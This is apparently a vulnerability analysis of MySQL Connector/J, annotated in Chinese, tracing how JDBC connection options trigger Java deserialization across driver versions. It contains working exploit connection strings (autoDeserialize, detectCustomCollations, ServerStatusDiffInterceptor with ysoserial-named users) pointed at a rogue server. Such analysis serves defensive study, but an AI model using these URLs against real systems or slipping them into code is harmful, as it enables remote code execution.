//加载驱动
Class.forName("com.mysql.jdbc.Driver");
//用户连接信息
String url = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_CommonsCollections6_calc";
//连接数据库
Connection connection = DriverManager.getConnection(url);
connection.close();

@CallerSensitive
    public static Connection getConnection(String url)
        throws SQLException {

        java.util.Properties info = new java.util.Properties();
        return (getConnection(url, info, Reflection.getCallerClass()));
    }

//  Worker method called by the public getConnection() methods.
private static Connection getConnection(
    String url, java.util.Properties info, Class<?> caller) throws SQLException {
    ...
    // Walk through the loaded registeredDrivers attempting to make a connection.
    // Remember the first exception that gets raised so we can reraise it.
    SQLException reason = null;

    for(DriverInfo aDriver : registeredDrivers) {
        // If the caller does not have permission to load the driver then
        // skip it.
        if(isDriverAllowed(aDriver.driver, callerCL)) {
            try {
                println("    trying " + aDriver.driver.getClass().getName());
                //调用至com.mysql.jdbc.NonRegisteringDriver#connect()方法
                Connection con = aDriver.driver.connect(url, info);
                if (con != null) {
                    // Success!
                    println("getConnection returning " + aDriver.driver.getClass().getName());
                    return (con);
                }
            } catch (SQLException ex) {
                if (reason == null) {
                    reason = ex;
                }
            }
    ...
}

    public java.sql.Connection connect(String url, Properties info) throws SQLException {
        //url为数据库连接url，不为空进入
        if (url != null) {
            //url以jdbc:mysql:mxj:// 开头进入
            if (StringUtils.startsWithIgnoreCase(url, LOADBALANCE_URL_PREFIX)) {
                return connectLoadBalanced(url, info);
                ////url以jdbc:mysql:loadbalance:// 开头进入
            } else if (StringUtils.startsWithIgnoreCase(url, REPLICATION_URL_PREFIX)) {
                return connectReplicationConnection(url, info);
            }
        }

        Properties props = null;

        if ((props = parseURL(url, info)) == null) {
            return null;
        }

        if (!"1".equals(props.getProperty(NUM_HOSTS_PROPERTY_KEY))) {
            return connectFailover(url, info);
        }

        try {
            //进入
            Connection newConn = com.mysql.jdbc.ConnectionImpl.getInstance(host(props), port(props), props, database(props), url);

            return newConn;
        ...
    }

protected static Connection getInstance(String hostToConnectTo, int portToConnectTo, Properties info, String databaseToConnectTo, String url)
    throws SQLException {
    if (!Util.isJdbc4()) {
        return new ConnectionImpl(hostToConnectTo, portToConnectTo, info, databaseToConnectTo, url);
    }

    return (Connection) Util.handleNewInstance(JDBC_4_CONNECTION_CTOR, new Object[] { hostToConnectTo, Integer.valueOf(portToConnectTo), info,
                                                                                     databaseToConnectTo, url }, null);
}

public static final Object handleNewInstance(Constructor<?> ctor, Object[] args, ExceptionInterceptor exceptionInterceptor) throws SQLException {
    try {
        //此次ctor为com.mysql.jdbc.JDBC4Connection
        return ctor.newInstance(args);
    } catch (IllegalArgumentException e) {
    ...
}

public JDBC4Connection(String hostToConnectTo, int portToConnectTo, Properties info, String databaseToConnectTo, String url) throws SQLException {
    //调用父类构造方法  JDBC4Connection extends ConnectionImpl
    super(hostToConnectTo, portToConnectTo, info, databaseToConnectTo, url);
}

public ConnectionImpl(String hostToConnectTo, int portToConnectTo, Properties info, String databaseToConnectTo, String url) throws SQLException {
    ...
    try {
    this.dbmd = getMetaData(false, false);
    initializeSafeStatementInterceptors();
    //调用至createNewIO()方法
    createNewIO(false);
    unSafeStatementInterceptors();
    } catch (SQLException ex) {
    cleanup(ex);
    ...
}

public void createNewIO(boolean isForReconnect) throws SQLException {
    synchronized (getConnectionMutex()) {
        // Synchronization Not needed for *new* connections, but defintely for connections going through fail-over, since we might get the new connection up
        // and running *enough* to start sending cached or still-open server-side prepared statements over to the backend before we get a chance to
        // re-prepare them...

        Properties mergedProps = exposeAsProperties(this.props);

        if (!getHighAvailability()) {
            connectOneTryOnly(isForReconnect, mergedProps);

            return;
        }

        connectWithRetries(isForReconnect, mergedProps);
    }
}

private void connectWithRetries(boolean isForReconnect, Properties mergedProps) throws SQLException {
    ...
    for (int attemptCount = 0; (attemptCount < getMaxReconnects()) && !connectionGood; attemptCount++) {
        try {
            if (this.io != null) {
                this.io.forceClose();
            }

            coreConnect(mergedProps);
            pingInternal(false, 0);

            boolean oldAutoCommit;
            int oldIsolationLevel;
            boolean oldReadOnly;
            String oldCatalog;

            synchronized (getConnectionMutex()) {
                this.connectionId = this.io.getThreadId();
                this.isClosed = false;

                // save state from old connection
                oldAutoCommit = getAutoCommit();
                oldIsolationLevel = this.isolationLevel;
                oldReadOnly = isReadOnly(false);
                oldCatalog = getCatalog();

                this.io.setStatementInterceptors(this.statementInterceptors);
            }

            // Server properties might be different from previous connection, so initialize again...
            //进入initializePropsFromServer()方法
            initializePropsFromServer();

            if (isForReconnect) {
                // Restore state from old connection
                setAutoCommit(oldAutoCommit);

                if (this.hasIsolationLevels) {
                    setTransactionIsolation(oldIsolationLevel);
                }

                setCatalog(oldCatalog);
                setReadOnly(oldReadOnly);
            }

            connectionGood = true;

            break;
        ...

private void initializePropsFromServer() throws SQLException {
    String connectionInterceptorClasses = getConnectionLifecycleInterceptors();
    ...
    //
    // If version is greater than 3.21.22 get the server variables.
    //服务器版本大于3.21.22进入
    if (versionMeetsMinimum(3, 21, 22)) {
        loadServerVariables();

        if (versionMeetsMinimum(5, 0, 2)) {
            this.autoIncrementIncrement = getServerVariableAsInt("auto_increment_increment", 1);
        } else {
            this.autoIncrementIncrement = 1;
        }

        buildCollationMapping();
        ...

private void buildCollationMapping() throws SQLException {
    if (this.versionMeetsMinimum(4, 1, 0)) {
    TreeMap sortedCollationMap = null;
    if (this.getCacheServerConfiguration()) {
        synchronized(serverConfigByUrl) {
            sortedCollationMap = (TreeMap)serverCollationByUrl.get(this.getURL());
        }
    }

    Statement stmt = null;
    ResultSet results = null;

    try {
        if (sortedCollationMap == null) {
            sortedCollationMap = new TreeMap();
            stmt = this.getMetadataSafeStatement();
            results = stmt.executeQuery("SHOW COLLATION");

            while(results.next()) {
                String charsetName = results.getString(2);
                Integer charsetIndex = results.getInt(3);
                sortedCollationMap.put(charsetIndex, charsetName);
            }

            if (this.getCacheServerConfiguration()) {
                synchronized(serverConfigByUrl) {
                    serverCollationByUrl.put(this.getURL(), sortedCollationMap);
                }
            }
        }

        int highestIndex = (Integer)sortedCollationMap.lastKey();
        if (CharsetMapping.INDEX_TO_CHARSET.length > highestIndex) {
            highestIndex = CharsetMapping.INDEX_TO_CHARSET.length;
        }

        this.indexToCharsetMapping = new String[highestIndex + 1];

        for(int i = 0; i < CharsetMapping.INDEX_TO_CHARSET.length; ++i) {
            this.indexToCharsetMapping[i] = CharsetMapping.INDEX_TO_CHARSET[i];
        }

        Entry indexEntry;
        String mysqlCharsetName;
        for(Iterator indexIter = sortedCollationMap.entrySet().iterator(); indexIter.hasNext(); this.indexToCharsetMapping[(Integer)indexEntry.getKey()] = CharsetMapping.getJavaEncodingForMysqlEncoding(mysqlCharsetName, this)) {
            indexEntry = (Entry)indexIter.next();
            mysqlCharsetName = (String)indexEntry.getValue();
        }
    } catch (SQLException var23) {
        throw var23;
    } finally {
        if (results != null) {
            try {
                results.close();
            } catch (SQLException var20) {
            }
        }

        if (stmt != null) {
            try {
                stmt.close();
            } catch (SQLException var19) {
            }
        }

    }
} else {
    this.indexToCharsetMapping = CharsetMapping.INDEX_TO_CHARSET;
}

}

private void buildCollationMapping() throws SQLException {
    HashMap<Integer, String> javaCharset = null;
    //判断服务版本小于于4.1.0
    if (!this.versionMeetsMinimum(4, 1, 0)) {
        javaCharset = new HashMap();

        for(int i = 0; i < CharsetMapping.INDEX_TO_CHARSET.length; ++i) {
            javaCharset.put(i, CharsetMapping.INDEX_TO_CHARSET[i]);
        }

        this.indexToJavaCharset = Collections.unmodifiableMap(javaCharset);
    //判断服务版本大于于4.1.0
    } else {
        TreeMap<Long, String> sortedCollationMap = null;
        HashMap<Integer, String> customCharset = null;
        HashMap<String, Integer> customMblen = null;
        if (this.getCacheServerConfiguration()) {
            synchronized(serverCollationByUrl) {
                sortedCollationMap = (TreeMap)serverCollationByUrl.get(this.getURL());
                javaCharset = (HashMap)serverJavaCharsetByUrl.get(this.getURL());
                customCharset = (HashMap)serverCustomCharsetByUrl.get(this.getURL());
                customMblen = (HashMap)serverCustomMblenByUrl.get(this.getURL());
            }
        }

        java.sql.Statement stmt = null;
        ResultSet results = null;

        try {
            if (sortedCollationMap == null) {
                sortedCollationMap = new TreeMap();
                javaCharset = new HashMap();
                customCharset = new HashMap();
                customMblen = new HashMap();
                stmt = this.getMetadataSafeStatement();

                try {
                    results = stmt.executeQuery("SHOW COLLATION");
                    //版本大于5.0.0进入
                    if (this.versionMeetsMinimum(5, 0, 0)) {
                        //反序列化触发点
                        Util.resultSetToMap(sortedCollationMap, results, 3, 2);
                    } else {
                        while(results.next()) {
                            sortedCollationMap.put(results.getLong(3), results.getString(2));
                        }
                    }
                } catch (SQLException var31) {
                    if (var31.getErrorCode() != 1820 || this.getDisconnectOnExpiredPasswords()) {
                        throw var31;
                    }
                }
                ...
}

String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_CommonsCollections4_calc";
String username = "yso_CommonsCollections4_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);

private void buildCollationMapping() throws SQLException {
    ...
    if (indexToCharset == null) {
        indexToCharset = new HashMap();
        //判断服务版本大于4.1.0且detectCustomCollations为true则进入
        //5.1.28此处判断条件只有服务版本大于4.1.0
        if (this.versionMeetsMinimum(4, 1, 0) && this.getDetectCustomCollations()) {
            java.sql.Statement stmt = null;
            ResultSet results = null;

            try {
                sortedCollationMap = new TreeMap();
                customCharset = new HashMap();
                customMblen = new HashMap();
                stmt = this.getMetadataSafeStatement();

                try {
                    //执行"SHOW COLLATION" SQL语句
                    results = stmt.executeQuery("SHOW COLLATION");
                    //若服务版本大于5.0.0进入
                    if (this.versionMeetsMinimum(5, 0, 0)) {
                        //调用com.mysql.jdbc.Util#resultSetToMap()方法获取"SHOW COLLATION"语句执行结果
                        Util.resultSetToMap(sortedCollationMap, results, 3, 2);
                    } else {
                        while(results.next()) {
                            sortedCollationMap.put(results.getLong(3), results.getString(2));
                        }
                    }

public static void resultSetToMap(Map mappedValues, ResultSet rs, int key, int value) throws SQLException {
    while(rs.next()) {
        //调用ResultSetImpl#getObject()方法
        mappedValues.put(rs.getObject(key), rs.getObject(value));
    }

}

public Object getObject(int columnIndex) throws SQLException {
    checkRowPos();
    checkColumnBounds(columnIndex);

    int columnIndexMinusOne = columnIndex - 1;

    if (this.thisRow.isNull(columnIndexMinusOne)) {
        this.wasNullFlag = true;

        return null;
    }

    this.wasNullFlag = false;

    Field field;
    field = this.fields[columnIndexMinusOne];

    switch (field.getSQLType()) {
        case Types.BIT:
        case Types.BOOLEAN:
            if (field.getMysqlType() == MysqlDefs.FIELD_TYPE_BIT && !field.isSingleBit()) {
                return getBytes(columnIndex);
            }

            // valueOf would be nicer here, but it isn't present in JDK-1.3.1, which is what the CTS uses.
            return Boolean.valueOf(getBoolean(columnIndex));
            .......
        case Types.LONGVARCHAR:
            if (!field.isOpaqueBinary()) {
                return getStringForClob(columnIndex);
            }

            return getBytes(columnIndex);

        case Types.BINARY:
        case Types.VARBINARY:
            //判断数据是否为二进制数据，若为则进入case
        case Types.LONGVARBINARY:
            //判断是否为GEOMETRY类型数据
            if (field.getMysqlType() == MysqlDefs.FIELD_TYPE_GEOMETRY) {
                return getBytes(columnIndex);
                //判断数据是否为blob或者二进制数据
            } else if (field.isBinary() || field.isBlob()) {
                byte[] data = getBytes(columnIndex);

                if (this.connection.getAutoDeserialize()) {
                    Object obj = data;
                    //data不为空且大于2
                    if ((data != null) && (data.length >= 2)) {
                        //判断是否为java反序列化数据  -84 -19为java对象序列化数据魔术头
                        if ((data[0] == -84) && (data[1] == -19)) {
                            // Serialized object
                            //进行反序列化调用readObject()
                            try {
                                ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
                                ObjectInputStream objIn = new ObjectInputStream(bytesIn);
                                obj = objIn.readObject();
                                objIn.close();
                                bytesIn.close();
                            } catch (ClassNotFoundException cnfe) {
                                throw SQLError.createSQLException(
                                        Messages.getString("ResultSet.Class_not_found___91") + cnfe.toString()
                                                + Messages.getString("ResultSet._while_reading_serialized_object_92"), getExceptionInterceptor());
                            } catch (IOException ex) {
                                obj = data; // not serialized?
                            }
                        } else {
                            return getString(columnIndex);
                        }
                    }

                    return obj;
                }

                return data;
            }

            return getBytes(columnIndex);

        case Types.DATE:
            ......
    }
}

String url = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_CommonsCollections4_calc";
String username = "yso_CommonsCollections4_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);

private void buildCollationMapping() throws SQLException {
    ...
    if (customCharset == null && this.getDetectCustomCollations() && this.versionMeetsMinimum(4, 1, 0)) {
        java.sql.Statement stmt = null;
        ResultSet results = null;

        try {
            customCharset = new HashMap();
            customMblen = new HashMap();
            stmt = this.getMetadataSafeStatement();

            try {
                results = stmt.executeQuery("SHOW COLLATION");

                while(results.next()) {
                    //直接调用getObject()
                    int collationIndex = ((Number)results.getObject(3)).intValue();
                    String charsetName = results.getString(2);
                    if (collationIndex >= 2048 || !charsetName.equals(CharsetMapping.getMysqlCharsetNameForCollationIndex(collationIndex))) {
                        ((Map)customCharset).put(collationIndex, charsetName);
                    }

                    if (!CharsetMapping.CHARSET_NAME_TO_CHARSET.containsKey(charsetName)) {
                        ((Map)customMblen).put(charsetName, (Object)null);
                    }
                }
            } catch (SQLException var27) {
                if (var27.getErrorCode() != 1820 || this.getDisconnectOnExpiredPasswords()) {
                    throw var27;
                }
            }

            if (((Map)customMblen).size() > 0) {
                try {
                    results = stmt.executeQuery("SHOW CHARACTER SET");

                    while(results.next()) {
                        String charsetName = results.getString("Charset");
                        if (((Map)customMblen).containsKey(charsetName)) {
                            ((Map)customMblen).put(charsetName, results.getInt("Maxlen"));
                        }
                    }
                } catch (SQLException var26) {
                    if (var26.getErrorCode() != 1820 || this.getDisconnectOnExpiredPasswords()) {
                        throw var26;
                    }
                }
            }
            ...
}

public Object getObject(int columnIndex) throws SQLException {
    this.checkRowPos();
    this.checkColumnBounds(columnIndex);
    int columnIndexMinusOne = columnIndex - 1;
    if (this.thisRow.isNull(columnIndexMinusOne)) {
        this.wasNullFlag = true;
        return null;
    } else {
        this.wasNullFlag = false;
        Field field = this.fields[columnIndexMinusOne];
        String stringVal;
        switch (field.getSQLType()) {
            case -7:
            ...
            //为-4 -3 -2 进入getObjectDeserializingIfNeeded()方法
            case -4:
            case -3:
            case -2:
                if (field.getMysqlType() == 255) {
                    return this.getBytes(columnIndex);
                }

                return this.getObjectDeserializingIfNeeded(columnIndex);
            ....

private Object getObjectDeserializingIfNeeded(int columnIndex) throws SQLException {
    Field field = this.fields[columnIndex - 1];
    if (!field.isBinary() && !field.isBlob()) {
        return this.getBytes(columnIndex);
    } else {
        //为二进制数据进入else
        byte[] data = this.getBytes(columnIndex);
        //autoDeserialize=true
        if (!this.connection.getAutoDeserialize()) {
            return data;
        } else {
            Object obj = data;
            if (data != null && data.length >= 2) {
                //判断是否为java反序列化数据  -84 -19为java对象序列化数据魔术头
                if (data[0] != -84 || data[1] != -19) {
                    return this.getString(columnIndex);
                }
                //进行反序列化调用readObject()
                try {
                    ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
                    ObjectInputStream objIn = new ObjectInputStream(bytesIn);
                    obj = objIn.readObject();
                    objIn.close();
                    bytesIn.close();
                } catch (ClassNotFoundException var7) {
                    throw SQLError.createSQLException(Messages.getString("ResultSet.Class_not_found___91") + var7.toString() + Messages.getString("ResultSet._while_reading_serialized_object_92"), this.getExceptionInterceptor());
                } catch (IOException var8) {
                    obj = data;
                }
            }

            return obj;
        }
    }
}

String url = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_CommonsCollections4_calc";
String username = "yso_CommonsCollections4_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);

private void buildCollationMapping() throws SQLException {
    ...
    if (customCharset == null && this.getDetectCustomCollations() && this.versionMeetsMinimum(4, 1, 0)) {
    java.sql.Statement stmt = null;
    ResultSet results = null;

    try {
        customCharset = new HashMap();
        customMblen = new HashMap();
        stmt = this.getMetadataSafeStatement();

        try {
            results = stmt.executeQuery("SHOW COLLATION");

            while(results.next()) {
                //不再调用getObject()
                int collationIndex = results.getInt(3);
                String charsetName = results.getString(2);
                if (collationIndex >= 2048 || !charsetName.equals(CharsetMapping.getMysqlCharsetNameForCollationIndex(collationIndex))) {
                    ((Map)customCharset).put(collationIndex, charsetName);
                }

                if (!CharsetMapping.CHARSET_NAME_TO_CHARSET.containsKey(charsetName)) {
                    ((Map)customMblen).put(charsetName, (Object)null);
                }
            }
            ...

private void buildCollationMapping() throws SQLException {
    ...
    if (indexToCharset == null) {
        indexToCharset = new HashMap();
        if ((Boolean)this.getPropertySet().getBooleanReadableProperty("detectCustomCollations").getValue()) {
            java.sql.Statement stmt = null;
            ResultSet results = null;

            try {
                sortedCollationMap = new TreeMap();
                customCharset = new HashMap();
                customMblen = new HashMap();
                stmt = this.getMetadataSafeStatement();

                try {
                    results = stmt.executeQuery("SHOW COLLATION");
                    //调用resultSetToMap()最后调用至getObject()
                    ResultSetUtil.resultSetToMap(sortedCollationMap, results, 3, 2);
                } catch (PasswordExpiredException var36) {
                    if ((Boolean)this.disconnectOnExpiredPasswords.getValue()) {
                        throw var36;
                    }
                } catch (SQLException var37) {
                    if (var37.getErrorCode() != 1820 || (Boolean)this.disconnectOnExpiredPasswords.getValue()) {
                        throw var37;
                    }
                }
                ...

public static void resultSetToMap(Map mappedValues, ResultSet rs, int key, int value) throws SQLException {
    while(rs.next()) {
        mappedValues.put(rs.getObject(key), rs.getObject(value));
    }

}

String url = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_CommonsCollections4_calc";
String username = "yso_CommonsCollections4_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);

private void initializePropsFromServer() throws SQLException {
    String connectionInterceptorClasses = this.getPropertySet().getStringReadableProperty("connectionLifecycleInterceptors").getStringValue();
    this.connectionLifecycleInterceptors = null;
    if (connectionInterceptorClasses != null) {
        try {
            this.connectionLifecycleInterceptors = (List)Util.loadClasses(this.getPropertySet().getStringReadableProperty("connectionLifecycleInterceptors").getStringValue(), "Connection.badLifecycleInterceptor", this.getExceptionInterceptor()).stream().map((o) -> {
                return o.init(this, this.props, this.session.getLog());
            }).collect(Collectors.toList());
        } catch (CJException var8) {
            throw SQLExceptionsMapping.translateException(var8, this.getExceptionInterceptor());
        }
    }

    this.session.setSessionVariables();
    if ((Boolean)this.useServerPrepStmts.getValue()) {
        this.useServerPreparedStmts = true;
    }

    this.session.loadServerVariables(this.getConnectionMutex(), this.dbmd.getDriverVersion());
    this.autoIncrementIncrement = this.session.getServerVariable("auto_increment_increment", 1);
    //调用buildCollationMapping()方法
    this.session.buildCollationMapping();

    try {
        LicenseConfiguration.checkLicenseType(this.session.getServerVariables());
    } catch (CJException var7) {
        throw SQLError.createSQLException(var7.getMessage(), "08001", this.getExceptionInterceptor());
    }

public void buildCollationMapping() {
    Map<Integer, String> customCharset = null;
    Map<String, Integer> customMblen = null;
    String databaseURL = this.hostInfo.getDatabaseUrl();
    if ((Boolean)this.cacheServerConfiguration.getValue()) {
        synchronized(customIndexToCharsetMapByUrl) {
            customCharset = (Map)customIndexToCharsetMapByUrl.get(databaseURL);
            customMblen = (Map)customCharsetToMblenMapByUrl.get(databaseURL);
        }
    }

    if (customCharset == null && (Boolean)this.getPropertySet().getBooleanReadableProperty("detectCustomCollations").getValue()) {
        customCharset = new HashMap();
        customMblen = new HashMap();
        ValueFactory<Integer> ivf = new IntegerValueFactory();

        PacketPayload resultPacket;
        Resultset rs;
        try {
            //此处不再调用getObject()方法，此链失效
            resultPacket = this.sendCommand(this.commandBuilder.buildComQuery(this.getSharedSendPacket(), "SHOW COLLATION"), false, 0);
            rs = this.protocol.readAllResults(-1, false, resultPacket, false, (ColumnDefinition)null, new ResultsetFactory(Type.FORWARD_ONLY, (Resultset.Concurrency)null));
            ValueFactory<String> svf = new StringValueFactory(rs.getColumnDefinition().getFields()[1].getEncoding());

            Row r;
            while((r = (Row)rs.getRows().next()) != null) {
                int collationIndex = ((Number)r.getValue(2, ivf)).intValue();
                String charsetName = (String)r.getValue(1, svf);
                if (collationIndex >= 2048 || !charsetName.equals(CharsetMapping.getMysqlCharsetNameForCollationIndex(collationIndex))) {
                    ((Map)customCharset).put(collationIndex, charsetName);
                }

                if (!CharsetMapping.CHARSET_NAME_TO_CHARSET.containsKey(charsetName)) {
                    ((Map)customMblen).put(charsetName, (Object)null);
                }
            }
        } catch (PasswordExpiredException var17) {
            if ((Boolean)this.disconnectOnExpiredPasswords.getValue()) {
                throw var17;
            }
        } catch (IOException var18) {
            throw ExceptionFactory.createException(var18.getMessage(), var18, this.exceptionInterceptor);
        }

String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";
String username = "yso_CommonsCollections4_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);
String sql = "select database()";
PreparedStatement ps = conn.prepareStatement(sql);
//执行查询操作，返回的是数据库结果集的数据表
ResultSet resultSet = ps.executeQuery();

@CallerSensitive
    public static Connection getConnection(String url)
        throws SQLException {

        java.util.Properties info = new java.util.Properties();
        return (getConnection(url, info, Reflection.getCallerClass()));
    }

//  Worker method called by the public getConnection() methods.
private static Connection getConnection(
    String url, java.util.Properties info, Class<?> caller) throws SQLException {
    ...
    // Walk through the loaded registeredDrivers attempting to make a connection.
    // Remember the first exception that gets raised so we can reraise it.
    SQLException reason = null;

    for(DriverInfo aDriver : registeredDrivers) {
        // If the caller does not have permission to load the driver then
        // skip it.
        if(isDriverAllowed(aDriver.driver, callerCL)) {
            try {
                println("    trying " + aDriver.driver.getClass().getName());
                //调用至com.mysql.jdbc.NonRegisteringDriver#connect()方法
                Connection con = aDriver.driver.connect(url, info);
                if (con != null) {
                    // Success!
                    println("getConnection returning " + aDriver.driver.getClass().getName());
                    return (con);
                }
            } catch (SQLException ex) {
                if (reason == null) {
                    reason = ex;
                }
            }
    ...
}

    public java.sql.Connection connect(String url, Properties info) throws SQLException {
        //url为数据库连接url，不为空进入
        if (url != null) {
            //url以jdbc:mysql:mxj:// 开头进入
            if (StringUtils.startsWithIgnoreCase(url, LOADBALANCE_URL_PREFIX)) {
                return connectLoadBalanced(url, info);
                ////url以jdbc:mysql:loadbalance:// 开头进入
            } else if (StringUtils.startsWithIgnoreCase(url, REPLICATION_URL_PREFIX)) {
                return connectReplicationConnection(url, info);
            }
        }

        Properties props = null;

        if ((props = parseURL(url, info)) == null) {
            return null;
        }

        if (!"1".equals(props.getProperty(NUM_HOSTS_PROPERTY_KEY))) {
            return connectFailover(url, info);
        }

        try {
            //进入
            Connection newConn = com.mysql.jdbc.ConnectionImpl.getInstance(host(props), port(props), props, database(props), url);

            return newConn;
        ...
    }

protected static Connection getInstance(String hostToConnectTo, int portToConnectTo, Properties info, String databaseToConnectTo, String url)
    throws SQLException {
    if (!Util.isJdbc4()) {
        return new ConnectionImpl(hostToConnectTo, portToConnectTo, info, databaseToConnectTo, url);
    }

    return (Connection) Util.handleNewInstance(JDBC_4_CONNECTION_CTOR, new Object[] { hostToConnectTo, Integer.valueOf(portToConnectTo), info,
                                                                                     databaseToConnectTo, url }, null);
}

public static final Object handleNewInstance(Constructor<?> ctor, Object[] args, ExceptionInterceptor exceptionInterceptor) throws SQLException {
    try {
        //此次ctor为com.mysql.jdbc.JDBC4Connection
        return ctor.newInstance(args);
    } catch (IllegalArgumentException e) {
    ...
}

public JDBC4Connection(String hostToConnectTo, int portToConnectTo, Properties info, String databaseToConnectTo, String url) throws SQLException {
    //调用父类构造方法  JDBC4Connection extends ConnectionImpl
    super(hostToConnectTo, portToConnectTo, info, databaseToConnectTo, url);
}

public ConnectionImpl(String hostToConnectTo, int portToConnectTo, Properties info, String databaseToConnectTo, String url) throws SQLException {
    ...
    try {
        this.dbmd = this.getMetaData(false, false);
        this.createNewIO(false);
        this.initializeStatementInterceptors();
        this.io.setStatementInterceptors(this.statementInterceptors);
    } catch (SQLException ex) {
    cleanup(ex);
    ...
}

protected void initializeStatementInterceptors() throws SQLException {
    this.statementInterceptors = Util.loadExtensions(this, this.props, this.getStatementInterceptors(), "MysqlIo.BadStatementInterceptor", this.getExceptionInterceptor());
}

public ResultSet executeQuery() throws SQLException {
        ...
        if (locallyScopedConn.useMaxRows()) {
            if (this.hasLimitClause) {
                this.results = this.executeInternal(this.maxRows, sendPacket, this.createStreamingResultSet(), true, metadataFromCache, false);
            } else {
                if (this.maxRows <= 0) {
                    this.executeSimpleNonQuery(locallyScopedConn, "SET OPTION SQL_SELECT_LIMIT=DEFAULT");
                } else {
                    this.executeSimpleNonQuery(locallyScopedConn, "SET OPTION SQL_SELECT_LIMIT=" + this.maxRows);
                }

                this.results = this.executeInternal(-1, sendPacket, doStreaming, true, metadataFromCache, false);
                if (oldCatalog != null) {
                    this.connection.setCatalog(oldCatalog);
                }
            }
        ...
}

protected ResultSetInternalMethods executeInternal(int maxRowsToRetrieve, Buffer sendPacket, boolean createStreamingResultSet, boolean queryIsSelectOnly, Field[] metadataFromCache, boolean isBatch) throws SQLException {
    try {
        this.resetCancelledState();
        ConnectionImpl locallyScopedConnection = this.connection;
        ++this.numberOfExecutions;
        if (this.doPingInstead) {
            this.doPingInstead();
            return this.results;
        } else {
            StatementImpl.CancelTask timeoutTask = null;

            ResultSetInternalMethods rs;
            try {
                if (locallyScopedConnection.getEnableQueryTimeouts() && this.timeoutInMillis != 0 && locallyScopedConnection.versionMeetsMinimum(5, 0, 0)) {
                    timeoutTask = new StatementImpl.CancelTask(this, this);
                    ConnectionImpl.getCancelTimer().schedule(timeoutTask, (long)this.timeoutInMillis);
                }

                rs = locallyScopedConnection.execSQL(this, (String)null, maxRowsToRetrieve, sendPacket, this.resultSetType, this.resultSetConcurrency, createStreamingResultSet, this.currentCatalog, metadataFromCache, isBatch);
                if (timeoutTask != null) {
                    timeoutTask.cancel();
                    if (timeoutTask.caughtWhileCancelling != null) {
                        throw timeoutTask.caughtWhileCancelling;
                    }

                    timeoutTask = null;
                }
                ...

ResultSetInternalMethods execSQL(StatementImpl callingStatement, String sql, int maxRows, Buffer packet, int resultSetType, int resultSetConcurrency, boolean streamResults, String catalog, Field[] cachedMetadata, boolean isBatch) throws SQLException {
        ...
        ResultSetInternalMethods var43;
        try {
            if (packet != null) {
                ResultSetInternalMethods var44 = this.io.sqlQueryDirect(callingStatement, (String)null, (String)null, packet, maxRows, resultSetType, resultSetConcurrency, streamResults, catalog, cachedMetadata);
                return var44;
            }

            encoding = null;
            if (this.getUseUnicode()) {
                encoding = this.getEncoding();
            }

            var43 = this.io.sqlQueryDirect(callingStatement, sql, encoding, (Buffer)null, maxRows, resultSetType, resultSetConcurrency, streamResults, catalog, cachedMetadata);
            ...

final ResultSetInternalMethods sqlQueryDirect(StatementImpl callingStatement, String query, String characterEncoding, Buffer queryPacket, int maxRows, int resultSetType, int resultSetConcurrency, boolean streamResults, String catalog, Field[] cachedMetadata) throws Exception {
    ++this.statementExecutionDepth;

    try {
        if (this.statementInterceptors != null) {
            ResultSetInternalMethods interceptedResults = this.invokeStatementInterceptorsPre(query, callingStatement);
            if (interceptedResults != null) {
                ResultSetInternalMethods var12 = interceptedResults;
                return var12;
            }
        }

private ResultSetInternalMethods invokeStatementInterceptorsPre(String sql, com.mysql.jdbc.Statement interceptedStatement) throws SQLException {
    ResultSetInternalMethods previousResultSet = null;
    Iterator interceptors = this.statementInterceptors.iterator();

    while(interceptors.hasNext()) {
        StatementInterceptor interceptor = (StatementInterceptor)interceptors.next();
        boolean executeTopLevelOnly = interceptor.executeTopLevelOnly();
        boolean shouldExecute = executeTopLevelOnly && this.statementExecutionDepth == 1 || !executeTopLevelOnly;
        if (shouldExecute) {
            String sqlToInterceptor = sql;
            if (interceptedStatement instanceof PreparedStatement) {
                sqlToInterceptor = ((PreparedStatement)interceptedStatement).asSql();
            }

            ResultSetInternalMethods interceptedResultSet = interceptor.preProcess(sqlToInterceptor, interceptedStatement, this.connection);
            if (interceptedResultSet != null) {
                previousResultSet = interceptedResultSet;
            }
        }
    }

    return previousResultSet;
}

public ResultSetInternalMethods preProcess(String sql, Statement interceptedStatement, Connection connection) throws SQLException {
    if (connection.versionMeetsMinimum(5, 0, 2)) {
        this.populateMapWithSessionStatusValues(connection, this.preExecuteValues);
    }

    return null;
}

private void populateMapWithSessionStatusValues(Connection connection, Map toPopulate) throws SQLException {
    java.sql.Statement stmt = null;
    ResultSet rs = null;

    try {
        toPopulate.clear();
        stmt = connection.createStatement();
        rs = stmt.executeQuery("SHOW SESSION STATUS");
        Util.resultSetToMap(toPopulate, rs);
    } finally {
        if (rs != null) {
            rs.close();
        }

        if (stmt != null) {
            stmt.close();
        }

    }

}

String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";
String username = "yso_CommonsCollections4_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);
String sql = "select database()";
PreparedStatement ps = conn.prepareStatement(sql);
//执行查询操作，返回的是数据库结果集的数据表
ResultSet resultSet = ps.executeQuery();

